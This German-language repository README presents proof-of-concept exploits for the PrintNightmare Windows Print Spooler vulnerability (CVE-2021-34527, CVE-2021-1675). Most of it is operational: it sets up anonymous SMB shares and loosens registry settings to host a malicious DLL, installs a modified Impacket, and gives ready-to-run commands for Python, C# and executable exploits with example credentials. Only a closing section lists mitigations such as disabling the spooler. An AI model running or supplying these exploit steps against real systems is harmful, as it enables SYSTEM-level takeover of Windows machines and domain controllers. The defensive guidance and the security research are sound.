
PrintNightmare - Windows Print Spooler RCE/LPE-Sicherheitslücke (CVE-2021-34527, CVE-2021-1675) Proof-of-Concept-Exploits
Hierbei handelt es sich um eine Remote-Codeausführungsschwachstelle, die von einem authentifizierten Remote-Benutzer genutzt werden kann, um auf Windows-Rechnern, auf denen der Druckwarteschlangendienst ausgeführt wird, SYSTEM-Rechte zu erlangen. Ein Angreifer könnte diesen Zugriff dann nutzen, um neue Konten anzulegen, Programme zu installieren, Daten anzusehen, zu ändern oder zu löschen oder neue Konten mit vollständigen Benutzerrechten anzulegen.
Diese Schwachstelle ist auf einen Fehler bei der Autorisierungsumgehung im Druckwarteschlangendienst spoolsv.exe auf Windows-Systemen zurückzuführen, der es authentifizierten Remote-Benutzern erlaubt, Druckertreiber über den RPC-Aufruf RpcAddPrinterDriver zu installieren und dabei eine Treiberdatei anzugeben, die sich an einem entfernten Speicherort befindet. Ein böswilliger Benutzer, der dies ausnutzt, kann SYSTEM-Rechte auf einem Windows-System erlangen, auf dem dieser Dienst ausgeführt wird, indem er im Rahmen der Installation eines Druckertreibers bösartige DLLs injiziert.
Microsoft hat zwar ein Update für CVE-2021-1675 veröffentlicht, dieses Update schützt jedoch weder Active-Directory-Domänencontroller noch Windows-Systeme, bei denen Punkt und Druck mit der Option NoWarningNoElevationOnInstall konfiguriert ist.
In diesem Repository gibt es drei PoC-Exploit-Implementierungen:
Da der RPC-Dienst es dem Client-Rechner erlaubt, einen Speicherort anzugeben, von dem der entfernte Server die Druckertreiber herunterlädt, können die folgenden Beispieloptionen verwendet werden, um die Payload zu hosten und den Pfad beim Ausführen des Exploits anzugeben:
Um den Gastzugriff in Samba einzurichten, müssen Sie einen Benutzer anlegen, mit dem sich der Dienst anmeldet. Stellen Sie sicher, dass im System ein Benutzer smbuser existiert, andernfalls legen Sie einen mit dem Passwort password an.
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
Bearbeiten Sie die Datei /etc/samba/smb.conf und aktivieren Sie den anonymen Zugriff.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Die folgenden Anweisungen sind leicht aktualisierte Versionen der Anweisungen von cube0x0:
Dies ist die Impacket-Implementierung des Printnightmare-Exploits von cube0x0. Bevor Sie den Exploit ausführen, müssen Sie eine modifizierte Version von Impacket installieren:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
Der Exploit-Code für diese Schwachstelle muss mit Python 3 ausgeführt werden.
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Das Verzeichnis SharpPrintNightmare/ enthält die C#-Implementierung des Printnightmare-Exploits, sowohl für die lokale Privilegienausweitung (Local Privilege Escalation, LPE) (CVE-2021-1675) als auch für die Remote-Codeausführung (Remote Code Execution, RCE). Die RCE-Funktionalität erfordert die Ausführung mit lokalen Administratorrechten auf dem Rechner, auf dem der Exploit ausgeführt wird.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
Führen Sie Folgendes aus:
Get-Service -Name Spooler
Wenn die Druckwarteschlange ausgeführt wird oder der Dienst nicht deaktiviert ist, wählen Sie eine der folgenden Optionen, um den Druckwarteschlangendienst zu deaktivieren oder eingehendes Remote-Drucken über Gruppenrichtlinien zu deaktivieren:
Wenn das Deaktivieren des Druckwarteschlangendienstes für Ihr Unternehmen geeignet ist, verwenden Sie die folgenden PowerShell-Befehle (Empfehlung von Microsoft):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
oder deaktivieren Sie den Spooler-Dienst über die Registrierung
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
oder deinstallieren Sie die Druckdienste
Uninstall-WindowsFeature Print-Services
Dadurch wird sowohl das lokale als auch das Remote-Drucken deaktiviert.
Sie können die Einstellungen auch wie folgt über Gruppenrichtlinien konfigurieren:
Computer Configuration / Administrative Templates / Printers
Deaktivieren Sie die Richtlinie „Allow Print Spooler to accept client connections:" („Druckwarteschlange das Akzeptieren von Clientverbindungen erlauben"), um Remote-Angriffe zu blockieren.
Diese Richtlinie blockiert den Remote-Angriffsvektor, indem sie eingehende Remote-Druckvorgänge verhindert. Das System funktioniert dann nicht mehr als Druckserver, aber das lokale Drucken auf ein direkt angeschlossenes Gerät ist weiterhin möglich.
Weitere Informationen finden Sie unter: Verwenden Sie Gruppenrichtlinieneinstellungen zum Steuern von Druckern.